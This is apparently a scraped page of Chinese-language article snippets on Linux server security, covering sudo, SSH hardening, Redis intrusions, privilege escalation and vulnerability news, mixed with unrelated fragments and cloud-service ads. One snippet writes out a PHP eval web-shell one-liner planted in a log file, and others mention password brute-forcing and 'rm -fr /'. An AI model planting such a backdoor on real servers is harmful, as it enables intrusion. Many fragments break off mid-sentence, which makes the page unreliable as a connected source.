可以使用sudo命令，sudo命令就是为了让普通用户可以在不知道root密码的情况下使用root的操作权限。
在渗透测试过程中，提升权限是非常关键的一步，攻击者往往可以通过利用内核漏洞/权限配置不当/root权限运行的服务等方式寻找突破点，来达到提升权限的目的。
豌豆贴心提醒，本文阅读时间7分钟 没有绝对的安全 在上一篇文章《linux服务器安全配置实例（一）》中介绍了我对ssh服务的一些常用的安全配置和性能优化。 其实ssh服务是我们进入服务器的一扇大门，这扇大门是提供正常人使用钥匙打开后进屋的。而对于一些恶意的小伙伴，他们会使用一些非法的方式，比如走窗户、暴力开锁等去不经过我们的同意就进屋大肆破坏。 走窗户：通过一些系统的0day漏洞或者第三方服务以及软件的漏洞溢出或者注入，在服务器中运行恶意的代码来得到登陆权限。 暴力开锁：通过一些暴力破解软件，暴力破
Intel Security旗下的安全产品McAfee VirusScan Linux企业版被曝受10个漏洞影响，由几个漏洞构成的攻击链可以完成以root权限远程执行代码。 几个月之前，麻省理工学院林肯实验室的安全专家Andrew Fasano就在McAfee VirusScan Linux企业版（VSEL）中发现多个漏洞，这些漏洞存在于VSEL 1.9.2版本至2.0.2版本。 他在博客中详细说明了这些漏洞，并表示某几个漏洞联合使用可以root权限执行远程代码。 10个漏洞，其中4个为高危 Fasan
我在云服务上安过两次redis，每次都被提示攻击他人。（我是好人怎么可能会干坏事呢） 所以我的服务器肯定被人入侵了，因为是个人服务器没什么重要东西端口是常年开放的也没有开启白名单防火墙，最重要的是密码都不设。怪不得天天被入侵，下面进行一下复现。
使用AppNode面板： 分享个案例，这几天装了一个云服务器，发现只提供了子账号密码ssh登录，并没有提供root帐号密码权限； 最简单的就是在使用的时候输入sudo su命令切换到root权限，如下图： image.png 不过在使用appnode面板如果是挂在其他服务器控制端的节点，是通过ssh连接的；在使用过程中命令终端是通过SSH登录连接使用会比较麻烦；比如文件对传工具也连不了；可以通过以下办法获得root权限并重置密码来更换节点用root ssh连接； sudo su切换到root权限，输
分享个案例，这几天装了一个云服务器，发现只提供了子账号密码ssh登录，并没有提供root帐号密码权限； 最简单的就是在使用的时候输入sudo su命令切换到root权限，如下图：
经过对大量客户的配置审计与渗透测试，我们总结出了一些Linux系统下的常见配置错误。我们相信总结、回顾这些常见错误可以在以后为我们节省更多时间与资源，更重要的是可以帮助系统管理员，使其服务器更加安全可靠。 五个常见配置错误如下： 1、用户/home目录的权限 2、系统中的getgid与setuid程序 3、全局可读/可写的文件/目录 4、使用包含漏洞的服务 5、默认的NFS挂载选项或不安全的导出选项 1、用户的/home目录权限 在大部分Linux发行版中，/home目录的默认权限是75
[root@localhost ~]# service iptables status
Serv-U是Windows平台和Linux平台的安全FTP服务器（FTPS，SFTP，HTTPS），是一个优秀的，安全的文件管理，文件传输和文件共享的解决方案。同时也是应用最广泛的FTP服务器软件。
linux一直以来很少有漏洞,稳定,高效,安全.深受网站,app运营者的喜欢与青睐,很多网站服务器的运营技术和运维,在维护服务器的同时都会使用sudo命令来做安全,殊不知sudo近期被爆出漏洞,并登上CVE-2019-14287级别,可见漏洞的危害性较大.Linux漏洞,目前来看使用centos系统的服务器,以及网站都会受到该漏洞的影响,我们SINE安全建议大家尽快升级sudo的版本到最新的1.8.28版本,将损失降到最低.防止网站,服务器,APP因为LINUX漏洞被攻击.
本文讲述如何通过配置文件、操作系统设置、禁用密码登录、使用ssh-key登录、给普通用户提权、使用sudo以及禁止root登录等方法来提高服务器账号密码安全。通过养成良好的服务器使用习惯，避免因账号密码泄露导致的安全问题。
1. 修改ssh默认连接22端口 和 添加防火墙firewalld 通过端口 步骤：
Jupyter notebook是一种Web应用程序，当在拥有图形化界面的windows、Linux和Mac系统中，很容易安装使用。不过通常我们会将一些消耗性能的代码放到性能更强的Linux服务器中，通过本地机器来访问运行，这些Linux服务器没有图形化界面只能够通过命令来进行交互，如果想要在Linux服务器中直接使用Jupyter notebook是不可能的事情。不过我们可以将Jupyter notebook安装在Linux服务器中，然后通过本地的浏览器来访问Linux服务器中的Jupyter notebook。
ELF病毒背景 1.Android病毒发展趋势 自 2010 年开始，全球进入了移动互联网时代，作为主流移动操作系统Android也得到了迅猛发展。Android病毒也从简单到复杂，从单纯的dex病毒转向为elf病毒（其中elf是Linux下的可执行程序）。这一发展趋势有几个原因： 经过多年发展程序编写人员水平普遍提高，大量的linux程序移植到android系统，病毒也随之发展。 android系统碎片化严重，提取漏洞不断累积导致病毒攻击方式多元化 ， elf文件具有比dex程序更难分析的特点。 常规杀
说说IT运维那些事，服务器如果不注意安全的话，就有可能会被入侵，特别是安装了redis的Linux服务器，如果安全防范没做好的话，更有可能会被入侵，被入侵以后会有很多种危害，那么我总结了有以下几种危害，服务器被入侵以后，你的数据可能会被删除第二个如果服务器被入侵以后可能会中病毒木马，比如说勒索病毒把你的服务器文件全部加密了，然后你需要给赎金才给你解密处理恢复，会非常的棘手。
最近在一次渗透测试中遇到了任意文件下载漏洞，正常的利用手段是下载服务器文件，如脚本代码，服务器配置或者是系统配置等等。但是有的时候我们可能根本不知道网站所处的环境，以及网站的路径，这时候我们只能利用../来逐层猜测路径，让漏洞利用变得繁琐。笔者在对此漏洞学习回炉重造的过程中，对此漏洞进行了细致的整理，希望为大家的学习提供一些帮助，和思路。另外如果有不足之处希望大家可以进一步补充。 漏洞介绍: 一些网站由于业务需求，往往需要提供文件查看或文件下载功能，但若对用户查看或下载的文件不做限制，则恶意用户就能够查看或
注意：本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。
注意：本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。
大家好，我是Stanley「史丹利」，今天聊 Linux 下rm危险命令禁用，昨天我们终于把集团剩余的1200台服务器禁用rm命令了。
既然看到了登录密码框，而且提示，账户名为：admin，只需要就用BurpSuite将密码爆破出来
问题： 部署博客，服务器经常500 排查：查看laravel日志： file_put_contents () ，failed to open stream: No such file or directory；
今天给大家介绍的是一款名叫Vuls的漏洞扫描工具，该工具采用Go语言编写，可帮助研究人员在无需安装任何代理工具的情况下实现对Linux/FreeBSD的漏洞扫描。
最近在服务器的安全性这个问题上吃了点亏，于是决定写几篇Linux服务器初始化相关的文章，来记录这次踩坑的成果。尽早的设置会让服务器更加的安全，提高它的可用性，为后续的部署程序打下基础。
1. 什么是linux服务器load average？ Load是用来度量服务器工作量的大小，即计算机cpu任务执行队列的长度，值越大，表明包括正在运行和待运行的进程数越多。 参考资料：http://en.wikipedia.org/wiki/Load_average
JavaEE：后台应用都会涉及Linux系统、应用程序的部署、运维、分布式集群、大数据、云计算、……
“每个人的手机都是一部窃听器，不管你开不开机，都能被窃听。”在2009年上映的《窃听风云》中吴彦祖饰演的人物有这样一句台词，随着影片热映，“手机窃听”的问题被更多的人顾虑，网络商家也大肆推出各种窃听软件和设备，甚至某宝上也可以买到“GSM阻截器”，但是GSM阻截器需要相关仪器功率巨大，一般几百至几千的售卖多为骗人的假货，相关的技术分析网上有很多，这并不是我们今天谈论的主题。一般的窃听分为物理窃听和软件窃听，而软件窃听的成本相较较低，但是一般的窃听软件买卖信息也为假货。
启动新服务器时，会创建一个默认帐户命名为root。此用户具有完整系统的访问权限，应仅用于管理任务。作为根用户，这个账户对你的系统都没有限制，虽然root用户管理权限很强，但是它不够安全。
有别于市面上常见的jumpserver方案，使用本文所搭建的跳板机将不会存储任何Linux服务器的账号、密码、密钥等信息，杜绝了信息泄露的可能。本文最大的特点是借助Linux的PAM机制，通过修改Linux服务器系统层配置，部分接管了Linux系统的身份认证能力，关于这一点，下文将详细描述。
在日常的内网横向过程中，对于SMB、Mysql、SSH、Sqlserver、Oracle等服务的弱口令爆破是常用手段，重复的红队攻防比赛使得这些服务的弱口令越来越少了。所以在平时，ABC_123也会关注一些其它服务的弱口令提权方法，有时候会在内网横向中收到奇效。本期就分享一个在内网渗透中，遇到的PostgreSQL数据库提权案例，过程非常艰辛，但是收获不少。
0 继续篇章 在上一篇【应急响应】redis未授权访问致远程植入挖矿脚本（防御篇）中，从防御的角度详细描述了应急响应以及流程。本篇继续从日志等入侵痕迹中分析，寻求突破，以一个攻击者的角度还原red
PS: 记不住ip，所以在个人电脑的hosts文件中设置了个别名，因为用的腾讯云服务器，就叫qqcloud。
Arch Linux 是一款轻量级、灵活且高度可定制的Linux发行版，被广泛用于个人电脑和服务器。一旦您成功安装了Arch Linux，接下来有一些重要的任务需要完成，以确保系统的稳定性和安全性，并为您的需求做好准备。
乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。
========================================================
一直以来特斯拉被认为比其他具有网络连接功能的汽车更安全，可以作为联网汽车的楷模，尽管特斯拉时不时被爆出一些小BUG。例如，2015年8月的黑客大会DEFCON上，安全研究人员Marc Rogers和Kevin Mahaffey分享了他们对特斯拉Model S的研究成果，他们在研究过程中找到了6个问题，通过这些小BUG可以以物理入侵（不是远程入侵）的方式控制汽车。接下来，我们就介绍他们这项研究的过程。
翻译： 提供需要翻译的文字 -> 翻译软件 -> 返回翻译后的数据 A 控制 B 去访问 C 网页翻译原理： 方案A： 1.请求目标站点 2.获取浏览器上面的目标站点数据 3.翻译软件把数据返回 方案B： 1.提供目标网址给翻译网站 2.翻译网站代访问，得到目标网站数据 3.翻译网站返回翻译后的数据
最近公司有个项目需要验证APP应用在一段时间内消耗的流量统计，与后台数据平台以及APP自身打印的log日志进行核对对比分析。具体分以下几步执行：
亚马逊的云服务器在创建的时候会让你选择一个秘钥，然后让你下载一个私钥，通过私钥连接，禁用root和密码登陆，这样十分安全，但是在管理也存在不方便的地方。 这篇文章就简单的介绍下，开启root权限和启用密码登陆。 一、启用root账号 为root设置密码 sudo passwd root 二、允许密码登陆 1、切换到root权限 su root 2、修改ssh配置文件，允许密码登陆 vim /etc/ssh/sshd_config 修改配置文件 ## 将下面的 no 改为 yes 可使用/搜索 Pass
var xhr = new XMLHttpRequest(); xhr.open('get', 'https://v1.hitokoto.cn/'); xhr.onreadystatechange = function () { if (xhr.readyState === 4) { var data = JSON.parse(xhr.responseText); var hitokoto = document.getElementById('hitokoto'); hitokoto.innerText = data.hitokoto; } } xhr.send();
Target address：http://www.vulnhub.com/entry/hacknos-os-hacknos,401/
写个php一句话后门上去： [jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time.
下面开始欺骗，由于是服务器端，因此我们欺骗网关：（网络环境如下，邮件服务器ip：192.168.0.11 网关：192.168.0.1 本机：192.168.0.77）
本教程针对引导盘里找不到grub.cfg文件的教程，极少数会发生这样的情况，主要是蜗牛星际的主机
由于昨天在内网服务器A不小心rm -fr / ，导致服务器A完蛋，重装系统后，不知道啥原因，局域网瘫痪不能上网，最后发现内网服务器A的一个进程sfewfesfs cpu 300%。路由器被网络阻塞啦。 于是百度这个病毒：都说该病毒很变态。第一次中linux病毒，幸亏是内网，感觉比较爽。（总结网络内容，引以为戒）
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频
